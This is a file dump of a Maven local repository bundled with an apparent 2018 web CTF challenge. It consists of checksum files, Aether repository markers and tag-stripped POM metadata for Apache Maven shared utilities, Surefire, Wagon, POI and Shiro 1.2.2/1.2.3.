web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.1/maven-shared-utils-0.1.pom.sha1 ================================================ c638aa76e8eb374e14c4a3d25f66f36454645a54 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 maven-shared-utils-0.3.pom>central= maven-shared-utils-0.3.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.3/maven-shared-utils-0.3.jar.sha1 ================================================ e6f2544f67d9747a8d293a8b2b628a6a6c24fdad ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.3/maven-shared-utils-0.3.pom ================================================ maven-shared-components org.apache.maven.shared 18 ../maven-shared-components/pom.xml/pom.xml 4.0.0 maven-shared-utils Maven Shared Utils 0.3 Shared utils without any further dependencies ${mavenVersion} jira http://jira.codehaus.org/browse/MSHARED scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-utils-0.3 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-utils-0.3 http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-utils-0.3 maven-shade-plugin 1.7.1 package shade true true commons-io:commons-io org.apache.commons.io org.apache.maven.internal.commons.io org.codehaus.mojo findbugs-maven-plugin findbugs-exclude.xml org.apache.rat apache-rat-plugin .git/**/* .idea/**/* **/.svn/**/* **/*.iml **/*.ipr **/*.iws **/*.versionsBackup .gitignore src/test/resources/directorywalker/**/* dependency-reduced-pom.xml junit junit 4.9 test hamcrest-core org.hamcrest org.apache.commons commons-lang3 3.1 test com.google.code.findbugs jsr305 2.0.1 compile 2.1.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.3/maven-shared-utils-0.3.pom.sha1 ================================================ 504b5b905b80c6d88793949a7ea9aec375f9cceb ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 maven-shared-utils-0.7.jar>central= maven-shared-utils-0.7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.7/maven-shared-utils-0.7.jar.sha1 ================================================ 0704e679088765e7df5e1ef3eef400c4a061c9ef ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.7/maven-shared-utils-0.7.pom ================================================ maven-shared-components org.apache.maven.shared 20 ../maven-shared-components/pom.xml/pom.xml 4.0.0 maven-shared-utils Apache Maven Shared Utils 0.7 Shared utils without any further dependencies 2.2.1 jira http://jira.codehaus.org/browse/MSHARED scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-utils-0.7 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-utils-0.7 http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-utils-0.7 maven-shade-plugin 2.3 package shade true true commons-io:commons-io org.apache.commons.io org.apache.maven.internal.commons.io org.codehaus.mojo findbugs-maven-plugin findbugs-exclude.xml org.apache.rat apache-rat-plugin .git/**/* .idea/**/* **/.svn/**/* **/*.iml **/*.ipr **/*.iws **/*.versionsBackup .gitignore src/test/resources/directorywalker/**/* dependency-reduced-pom.xml reporting maven-checkstyle-plugin 2.13 junit junit 4.11 test org.hamcrest hamcrest-core 1.3 test org.apache.commons commons-lang3 3.1 test com.google.code.findbugs jsr305 2.0.1 compile org.apache.maven maven-toolchain 2.2.1 provided maven-core org.apache.maven maven-artifact org.apache.maven apache.website scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.7/maven-shared-utils-0.7.pom.sha1 ================================================ 4a7c585a051cd9d9553f25b0d616adcb0d800ac5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/maven-surefire-common/2.17/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:31 CST 2018 maven-surefire-common-2.17.jar>central= maven-surefire-common-2.17.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/maven-surefire-common/2.17/maven-surefire-common-2.17.jar.sha1 ================================================ 69b463eab349dcc0ffb002000b831d290a4e9a0d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/maven-surefire-common/2.17/maven-surefire-common-2.17.pom ================================================ surefire org.apache.maven.surefire 2.17 4.0.0 maven-surefire-common Maven Surefire Common 2.0.9 maven-surefire-plugin org.apache.maven.surefire surefire-shadefire ${shadedVersion} true maven-shade-plugin package shade true org.apache.maven.shared:maven-shared-utils org.apache.maven.shared:maven-common-artifact-filters commons-io:commons-io org.apache.maven.shared org.apache.maven.surefire.shade.org.apache.maven.shared org.apache.commons.io org.apache.maven.surefire.shade.org.apache.commons.io org.apache.maven maven-plugin-api 2.0.9 compile org.apache.maven.plugin-tools maven-plugin-annotations 3.2 compile org.apache.maven.surefire surefire-api 2.17 compile org.apache.maven.surefire surefire-booter 2.17 compile org.apache.maven maven-artifact 2.0.9 compile org.apache.maven maven-plugin-descriptor 2.0.9 compile org.apache.maven maven-project 2.0.9 compile org.apache.maven maven-model 2.0.9 compile org.apache.maven maven-core 2.0.9 compile wagon-file org.apache.maven.wagon wagon-webdav org.apache.maven.wagon wagon-http-lightweight org.apache.maven.wagon wagon-ssh org.apache.maven.wagon wagon-ssh-external org.apache.maven.wagon doxia-sink-api org.apache.maven.doxia commons-cli commons-cli plexus-interactivity-api org.codehaus.plexus org.apache.maven maven-toolchain 2.0.9 compile org.apache.commons commons-lang3 3.1 compile com.google.code.findbugs jsr305 2.0.1 provided junit junit 3.8.1 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/maven-surefire-common/2.17/maven-surefire-common-2.17.pom.sha1 ================================================ 80c2a9b0ff022fc61c270ca2f144fff2ac6f8f85 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire/2.17/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:06 CST 2018 surefire-2.17.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire/2.17/surefire-2.17.pom ================================================ 4.0.0 maven-parent org.apache.maven 23 ../pom/maven/pom.xml org.apache.maven.surefire surefire 2.17 pom Apache Maven Surefire Surefire is a test framework project. http://maven.apache.org/surefire 2004 Jesse Kuhnert Marvin Froeder marvin@marvinformatics.com Surefire User List surefire-users@maven.apache.org surefire-users-subscribe@maven.apache.org surefire-users-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-surefire-users/ http://www.mail-archive.com/surefire-users@maven.apache.org http://markmail.org/list/org.apache.maven.surefire-users Surefire Developer List surefire-dev@maven.apache.org surefire-dev-subscribe@maven.apache.org surefire-dev-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-surefire-dev/ http://www.mail-archive.com/surefire-dev@maven.apache.org http://markmail.org/list/org.apache.maven.surefire-dev Surefire Commits List surefire-commits-subscribe@maven.apache.org surefire-commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-surefire-commits/ http://www.mail-archive.com/surefire-commits@maven.apache.org http://markmail.org/list/org.apache.maven.surefire-commits surefire-shadefire surefire-api surefire-booter surefire-grouper surefire-providers maven-surefire-common surefire-report-parser maven-surefire-plugin maven-failsafe-plugin maven-surefire-report-plugin surefire-setup-integration-tests surefire-integration-tests ${maven.surefire.scm.devConnection} ${maven.surefire.scm.devConnection} https://github.com/apache/maven-surefire/tree/${project.scm.tag} HEAD jira http://jira.codehaus.org/browse/SUREFIRE Jenkins https://builds.apache.org/job/maven-surefire/ 2.0.9 2.12.4 3.2 scm:git:https://git-wip-us.apache.org/repos/asf/maven-surefire.git surefire-archives/surefire-LATEST apache.website scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path} org.apache.maven.surefire surefire-api ${project.version} org.apache.commons commons-lang3 3.1 commons-io commons-io 2.2 org.apache.maven.surefire surefire-booter ${project.version} org.apache.maven.surefire surefire-grouper ${project.version} org.apache.maven.surefire maven-surefire-common ${project.version} org.apache.maven.reporting maven-reporting-api ${mavenVersion} org.apache.maven maven-core ${mavenVersion} org.apache.maven.wagon wagon-file org.apache.maven.wagon wagon-webdav org.apache.maven.wagon wagon-http-lightweight org.apache.maven.wagon wagon-ssh org.apache.maven.wagon wagon-ssh-external org.apache.maven.doxia doxia-sink-api commons-cli commons-cli org.codehaus.plexus plexus-interactivity-api org.apache.maven maven-plugin-api ${mavenVersion} org.apache.maven.plugin-tools maven-plugin-annotations ${mavenPluginPluginVersion} compile org.apache.maven maven-artifact ${mavenVersion} org.apache.maven maven-plugin-descriptor ${mavenVersion} org.apache.maven maven-project ${mavenVersion} org.apache.maven maven-model ${mavenVersion} org.apache.maven maven-toolchain ${mavenVersion} org.apache.maven.shared maven-shared-utils 0.4 org.apache.maven.shared maven-verifier 1.5 jmock jmock 1.0.1 test junit junit 3.8.1 test com.google.code.findbugs jsr305 2.0.1 provided junit junit test org.apache.maven.plugins maven-compiler-plugin 2.5.1 maven-surefire-plugin ${shadedVersion} false maven-release-plugin 2.2.1 true clean install maven-shade-plugin 1.5 maven-plugin-plugin ${mavenPluginPluginVersion} true org.apache.maven.plugins maven-site-plugin 3.3 org.apache.maven.plugins maven-scm-publish-plugin ${project.build.directory}/staging/${maven.site.path} ${maven.site.cache}/${maven.site.path} true org.apache.rat apache-rat-plugin .git/**/* **/.idea **/.svn/**/* src/test/resources/**/* **/*.jj src/test/resources/**/*.css **/*.iml **/*.ipr **/*.iws **/*.versionsBackup .gitignore src/main/resources/META-INF/services/org.apache.maven.surefire.providerapi.SurefireProvider org.apache.maven.plugins maven-project-info-reports-plugin 2.7 false ${maven.surefire.scm.devConnection} ${maven.surefire.scm.devConnection} index summary dependency-info modules license project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim plugin-management plugins distribution-management org.apache.maven.plugins maven-surefire-report-plugin ${shadedVersion} org.apache.maven.plugins maven-javadoc-plugin 2.9.1 reporting org.apache.maven.plugins maven-site-plugin m2e target m2e.version ${m2BuildDirectory} org.maven.ide.eclipse lifecycle-mapping 0.10.0 customizable org.apache.maven.plugins:maven-resources-plugin:: ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire/2.17/surefire-2.17.pom.sha1 ================================================ 209c1b6bb1fa1fb320f3d72e8b29cb32150d054c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-api/2.17/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 surefire-api-2.17.jar>central= surefire-api-2.17.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-api/2.17/surefire-api-2.17.jar.sha1 ================================================ 3755b3a3a542bf6e6ba4cdf73e07cc0fa0ddb4f6 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-api/2.17/surefire-api-2.17.pom ================================================ surefire org.apache.maven.surefire 2.17 4.0.0 surefire-api SureFire API maven-surefire-plugin org.apache.maven.surefire surefire-shadefire ${shadedVersion} maven-shade-plugin package shade true org.apache.maven.shared:maven-shared-utils commons-lang:commons-lang org.apache.maven.shared org.apache.maven.surefire.shade.org.apache.maven.shared org.apache.commons.lang org.apache.maven.surefire.shade.org.apache.commons.lang junit junit 3.8.1 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-api/2.17/surefire-api-2.17.pom.sha1 ================================================ abf888f6d436fd75d72a4cb3779c84b76cdb56af ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-booter/2.17/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:31 CST 2018 surefire-booter-2.17.pom>central= surefire-booter-2.17.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-booter/2.17/surefire-booter-2.17.jar.sha1 ================================================ 47da071ab817b7679db3cf006f2243793e325875 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-booter/2.17/surefire-booter-2.17.pom ================================================ 4.0.0 org.apache.maven.surefire surefire 2.17 ../pom.xml surefire-booter SureFire Booter org.apache.maven.surefire surefire-api maven-surefire-plugin org.apache.maven.surefire surefire-shadefire ${shadedVersion} org.apache.maven.plugins maven-shade-plugin package shade true commons-lang:commons-lang org.apache.commons.lang org.apache.maven.surefire.shade.org.apache.commons.lang ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-booter/2.17/surefire-booter-2.17.pom.sha1 ================================================ 4597f4129e4d8c561ef69718f0b02e55cabfe231 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/wagon/wagon/1.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:02:18 CST 2018 wagon-1.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/wagon/wagon/1.0/wagon-1.0.pom ================================================ 4.0.0 maven-parent org.apache.maven 20 ../pom/maven/pom.xml org.apache.maven.wagon wagon 1.0 pom Maven Wagon Tools to manage artifacts and deployment http://maven.apache.org/wagon 2003 michal Michal Maczka michal@codehaus.org Codehaus Developer James William Dumay Nathan Beyer Gregory Block Thomas Recloux Trustin Lee John Wells Marcel Schutte David Hawkins Juan F. Codagnone ysoonleo Thomas Champagne M. van der Plas Jason Dillon Jochen Wiedmann Gilles Scokart Wolfgang Glas Kohsuke Kawaguchi Antti Virtanen Thorsten Heit Benson Margulies bimargulies@apache.org Committer America/Boston scm:svn:http://svn.apache.org/repos/asf/maven/wagon/tags/wagon-1.0 scm:svn:https://svn.apache.org/repos/asf/maven/wagon/tags/wagon-1.0 http://svn.apache.org/viewvc/maven/wagon/tags/wagon-1.0 jira http://jira.codehaus.org/browse/WAGON Jenkins https://builds.apache.org/hudson/job/maven-wagon/ wagon-provider-api wagon-providers wagon-provider-test wagon-tcks true junit junit test org.apache.maven.wagon wagon-provider-api ${project.version} org.apache.maven.wagon wagon-provider-test ${project.version} org.apache.maven.wagon wagon-ssh-common-test ${project.version} org.apache.maven.wagon wagon-ssh-common ${project.version} junit junit 3.8.1 org.codehaus.plexus plexus-interactivity-api 1.0-alpha-6 plexus plexus-utils org.codehaus.plexus plexus-container-default classworlds classworlds org.codehaus.plexus plexus-container-default 1.0-alpha-9 test org.codehaus.plexus plexus-utils 1.4.2 maven-release-plugin https://svn.apache.org/repos/asf/maven/wagon/tags true maven-site-plugin scp://people.apache.org/www/maven.apache.org/wagon-${project.version} org.codehaus.plexus plexus-maven-plugin 1.3.5 org.codehaus.plexus plexus-maven-plugin generate descriptor maven-javadoc-plugin http://java.sun.com/j2ee/1.4/docs/api http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/ http://commons.apache.org/dbcp/apidocs/ http://commons.apache.org/fileupload/apidocs/ http://commons.apache.org/httpclient/apidocs/ http://commons.apache.org/logging/apidocs/ http://commons.apache.org/pool/apidocs/ http://junit.sourceforge.net/javadoc/ http://logging.apache.org/log4j/1.2/apidocs/ http://jakarta.apache.org/regexp/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ http://maven.apache.org/ref/current/maven-artifact/apidocs/ http://maven.apache.org/ref/current/maven-artifact-manager/apidocs/ http://maven.apache.org/ref/current/maven-model/apidocs/ http://maven.apache.org/ref/current/maven-plugin-api/apidocs/ http://maven.apache.org/ref/current/maven-project/apidocs/ http://maven.apache.org/ref/current/maven-reporting/maven-reporting-api/apidocs/ http://maven.apache.org/ref/current/maven-settings/apidocs/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/wagon/wagon/1.0/wagon-1.0.pom.sha1 ================================================ eaecb83d41d4c4e674f2c532ef70fddbabc5f247 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/wagon/wagon-provider-api/1.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 wagon-provider-api-1.0.jar>central= wagon-provider-api-1.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/wagon/wagon-provider-api/1.0/wagon-provider-api-1.0.jar.sha1 ================================================ 12bcd211158c0c09b027d06b70371861398fedea ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/wagon/wagon-provider-api/1.0/wagon-provider-api-1.0.pom ================================================ 4.0.0 org.apache.maven.wagon wagon 1.0 ../pom.xml wagon-provider-api Maven Wagon API Maven Wagon API that defines the contract between different Wagon implementations org.codehaus.plexus plexus-utils easymock easymock 1.2_Java1.3 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/wagon/wagon-provider-api/1.0/wagon-provider-api-1.0.pom.sha1 ================================================ 26b03d1e63fd15ea5a6898282d4aee600a6170de ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/poi/poi/3.15/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 poi-3.15.jar>central= poi-3.15.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/poi/poi/3.15/poi-3.15.jar.sha1 ================================================ 965bba8899988008bb2341e300347de62aad5391 maven/poi/poi-3.15.jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/poi/poi/3.15/poi-3.15.pom ================================================ 4.0.0 org.apache.poi poi 3.15 jar Apache POI http://poi.apache.org/ Apache POI - Java API To Access Microsoft Format Files POI Users List user-subscribe@poi.apache.org user-unsubscribe@poi.apache.org http://mail-archives.apache.org/mod_mbox/poi-user/ POI Developer List dev-subscribe@poi.apache.org dev-unsubscribe@poi.apache.org http://mail-archives.apache.org/mod_mbox/poi-dev/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt Apache Software Foundation http://www.apache.org/ commons-logging commons-logging 1.2 runtime true log4j log4j 1.2.17 runtime true commons-codec commons-codec 1.10 org.hamcrest hamcrest-core test 1.3 junit junit test 4.12 org.apache.commons commons-collections4 4.1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/poi/poi/3.15/poi-3.15.pom.sha1 ================================================ e07c4af65d07241dccd4ee978127c6526ad08ee3 maven/poi/poi-3.15.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 shiro-core-1.2.2.jar>central= shiro-core-1.2.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.2/shiro-core-1.2.2.jar.sha1 ================================================ b4a506e331007e769baf34a6015e5b17b3de7d19 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.2/shiro-core-1.2.2.pom ================================================ org.apache.shiro shiro-root 1.2.2 ../pom.xml 4.0.0 shiro-core Apache Shiro :: Core bundle org.apache.maven.plugins maven-jar-plugin test-jar org.apache.felix maven-bundle-plugin true org.apache.shiro.core org.apache.shiro*;version=${project.version} org.apache.shiro*;version="${shiro.osgi.importRange}", org.apache.commons.beanutils*;resolution:=optional, * org.slf4j slf4j-api commons-beanutils commons-beanutils org.slf4j jcl-over-slf4j org.slf4j slf4j-log4j12 log4j log4j test javax.mail mail hsqldb hsqldb test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.2/shiro-core-1.2.2.pom.sha1 ================================================ b98b48fa52e221d49cdd3cd4a8320b8391f1c9ca ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 shiro-core-1.2.3.jar>central= shiro-core-1.2.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.3/shiro-core-1.2.3.jar.sha1 ================================================ 4ddf1b83360c7e39f02e3e20ca364d2c448ed01f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.3/shiro-core-1.2.3.pom ================================================ org.apache.shiro shiro-root 1.2.3 ../pom.xml 4.0.0 shiro-core Apache Shiro :: Core bundle org.apache.maven.plugins maven-jar-plugin test-jar org.apache.felix maven-bundle-plugin true org.apache.shiro.core org.apache.shiro*;version=${project.version} org.apache.shiro*;version="${shiro.osgi.importRange}", org.apache.commons.beanutils*;resolution:=optional, * org.slf4j slf4j-api commons-beanutils commons-beanutils org.slf4j jcl-over-slf4j org.slf4j slf4j-log4j12 log4j log4j test javax.mail mail hsqldb hsqldb test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.3/shiro-core-1.2.3.pom.sha1 ================================================ fa30bf2c6c6edce9e7851875ae9460bda07d9e1f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-root/1.2.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:35 CST 2018 shiro-root-1.2.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-root/1.2.2/shiro-root-1.2.2.pom ================================================ 4.0.0 org.apache apache 7 org.apache.shiro shiro-root pom 1.2.2 Apache Shiro http://shiro.apache.org/ Apache Shiro is a powerful and flexible open-source security framework that cleanly handles authentication, authorization, enterprise session management, single sign-on and cryptography services. 2004 scm:svn:http://svn.apache.org/repos/asf/shiro/tags/shiro-root-1.2.2 scm:svn:https://svn.apache.org/repos/asf/shiro/tags/shiro-root-1.2.2 http://svn.apache.org/repos/asf/shiro/tags/shiro-root-1.2.2 Jira http://issues.apache.org/jira/browse/SHIRO Hudson http://hudson.zones.apache.org/hudson/view/Shiro/ shiro.website Apache Shiro Site scp://people.apache.org/www/shiro.apache.org/static/latest ${user.name}-${maven.build.timestamp} [1.2, 2) 1.6.12 1.2 1.4 1.5.2 2.5.0 1.8.0.7 1.5 6.1.26 1.6.1 1.6.4 3.1.0.RELEASE 3.0 r09 3.1 1.3 1.8.5 4.8.2 Apache Shiro Users Mailing List user-subscribe@shiro.apache.org user-unsubscribe@shiro.apache.org user@shiro.apache.org Apache Shiro Developers Mailing List dev-subscribe@shiro.apache.org dev-unsubscribe@shiro.apache.org dev@shiro.apache.org aditzel Allan Ditzel aditzel@apache.org http://www.allanditzel.com Apache Software Foundation -5 jhaile Jeremy Haile jhaile@apache.org http://www.jeremyhaile.com Mobilization Labs http://www.mobilizationlabs.com -5 lhazlewood Les Hazlewood lhazlewood@apache.org http://www.leshazlewood.com Katasoft http://www.katasoft.com -8 kaosko Kalle Korhonen kaosko@apache.org http://tynamo.org Apache Software Foundation -8 pledbrook Peter Ledbrook p.ledbrook@cacoethes.co.uk http://www.cacoethes.co.uk/blog/ SpringSource http://www.springsource.com/ 0 tveil Tim Veil tveil@apache.org bdemers Brian Demers bdemers@apache.org http://about.me/brian.demers Sonatype http://www.sonatype.com/ -5 jbunting Jared Bunting jbunting@apache.org Apache Software Foundation -6 core web support samples tools all org.apache.felix maven-bundle-plugin 2.1.0 org.apache.maven.plugins maven-gpg-plugin 1.1 org.apache.maven.plugins maven-site-plugin 3.1 org.apache.maven.wagon wagon-ssh 2.2 org.apache.rat apache-rat-plugin 0.8 **/.externalToolBuilders/* **/infinitest.filters velocity.log org.codehaus.mojo versions-maven-plugin 1.2 org.codehaus.gmaven gmaven-plugin ${gmaven.version} 1.7 src/main/groovy org.codehaus.gmaven.runtime gmaven-runtime-1.7 ${gmaven.version} org.codehaus.groovy groovy-all org.codehaus.groovy groovy-all ${groovy.version} org.eclipse.m2e lifecycle-mapping 1.0.0 org.codehaus.mojo aspectj-maven-plugin [1.3,) test-compile compile org.apache.maven.plugins maven-antrun-plugin [1.3,) run org.codehaus.mojo dependency-maven-plugin [1.0,) unpack org.codehaus.mojo build-helper-maven-plugin 1.7 org.codehaus.mojo dependency-maven-plugin 1.0 org.apache.rat apache-rat-plugin org.apache.maven.plugins maven-compiler-plugin 2.0.2 ${jdk.version} ${jdk.version} ${project.build.sourceEncoding} org.apache.maven.plugins maven-surefire-plugin 2.12 true org.codehaus.gmaven gmaven-plugin ${gmaven.version} compile testCompile org.codehaus.mojo buildnumber-maven-plugin 1.0-beta-4 validate create false false ${project.version} org.apache.maven.plugins maven-jar-plugin 2.3.1 true true ${buildNumber} ${project.scm.url} org.apache.maven.plugins maven-release-plugin clean apache-rat:check install true false deploy site-deploy -Pdocs,apache-release forked-path junit junit ${junit.version} test org.easymock easymock ${easymock.version} test org.codehaus.groovy groovy-all ${groovy.version} test org.apache.shiro shiro-core ${project.version} org.apache.shiro shiro-web ${project.version} org.apache.shiro shiro-ehcache ${project.version} org.apache.shiro shiro-quartz ${project.version} org.apache.shiro shiro-spring ${project.version} org.apache.shiro shiro-guice ${project.version} org.apache.shiro shiro-aspectj ${project.version} org.apache.shiro shiro-all ${project.version} org.apache.shiro.samples samples-spring-client ${project.version} org.apache.shiro shiro-core ${project.version} test-jar test commons-cli commons-cli ${commons.cli.version} commons-codec commons-codec ${commons.codec.version} runtime org.aspectj aspectjrt ${aspectj.version} org.aspectj aspectjweaver ${aspectj.version} com.atlassian.crowd crowd-integration-client ${crowd.version} org.slf4j slf4j-api ${slf4j.version} org.slf4j slf4j-simple ${slf4j.version} test org.slf4j slf4j-log4j12 ${slf4j.version} test org.slf4j jcl-over-slf4j ${slf4j.version} test commons-beanutils commons-beanutils 1.8.3 commons-logging commons-logging hsqldb hsqldb ${hsqldb.version} runtime true javax.servlet.jsp jsp-api 2.1 provided javax.servlet jstl 1.1.2 provided javax.servlet servlet-api 2.5 provided log4j log4j 1.2.16 test javax.mail mail javax.jms jms com.sun.jdmk jmxtools com.sun.jmx jmxri org.codehaus.groovy groovy-all ${groovy.version} net.sf.ehcache ehcache-core ${ehcache.version} true commons-logging commons-logging org.hibernate hibernate 3.2.6.ga true commons-logging commons-logging ant ant ant-launcher ant-launcher c3p0 c3p0 javax.security jacc javax.servlet servlet-api jboss jboss-cache net.sf.ehcache ehcache asm asm-attrs javax.transaction jta org.apache.geronimo.specs geronimo-jta_1.1_spec 1.1.1 runtime true org.hibernate hibernate-annotations 3.2.1.ga true org.springframework spring-context ${spring.version} true commons-logging commons-logging org.springframework spring-jdbc ${spring.version} true commons-logging commons-logging org.springframework spring-orm ${spring.version} true commons-logging commons-logging org.springframework spring-webmvc ${spring.version} true commons-logging commons-logging org.springframework spring-test ${spring.version} test true commons-logging commons-logging com.google.guava guava ${guava.version} com.google.inject guice ${guice.version} com.google.inject.extensions guice-multibindings ${guice.version} com.google.inject.extensions guice-servlet ${guice.version} org.opensymphony.quartz quartz ${quartz.version} true commons-logging commons-logging maven-javadoc-plugin 2.7 ${jdk.version} ${project.build.sourceEncoding} true http://java.sun.com/javase/6/docs/api/ http://java.sun.com/javaee/5/docs/api/ http://www.slf4j.org/api/ http://static.springframework.org/spring/docs/2.5.x/api/ http://junit.org/junit/javadoc/4.4/ http://easymock.org/api/easymock/2.4 http://www.quartz-scheduler.org/docs/api/1.8.0/ org.apache.shiro.samples.* ]]> javadoc-aggregate aggregate org.codehaus.mojo cobertura-maven-plugin 2.4 xml html maven-jxr-plugin 2.1 true maven-pmd-plugin 2.5 utf-8 1.5 maven-project-info-reports-plugin 2.2 false org.apache.rat apache-rat-plugin 0.8 **/.externalToolBuilders/* **/infinitest.filters velocity.log maven-surefire-report-plugin 2.5 org.codehaus.mojo taglist-maven-plugin 2.4 Todo Work todo ignoreCase FIXME exact Deprecated @Deprecated exact org.codehaus.mojo jdepend-maven-plugin 2.0-beta-2 org.codehaus.mojo dashboard-maven-plugin 1.0.0-beta-1 docs org.apache.maven.plugins maven-javadoc-plugin 2.7 attach-api-docs jar true org.apache.maven.plugins maven-source-plugin 2.0.4 attach-sources jar true apache-release shiro.website Apache Shiro Site scp://people.apache.org/www/shiro.apache.org/static/${project.version} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-root/1.2.2/shiro-root-1.2.2.pom.sha1 ================================================ 622ce162e9382d602b4887eb47ae2447c91e9045 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-root/1.2.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:39 CST 2018 shiro-root-1.2.3.pom>central= 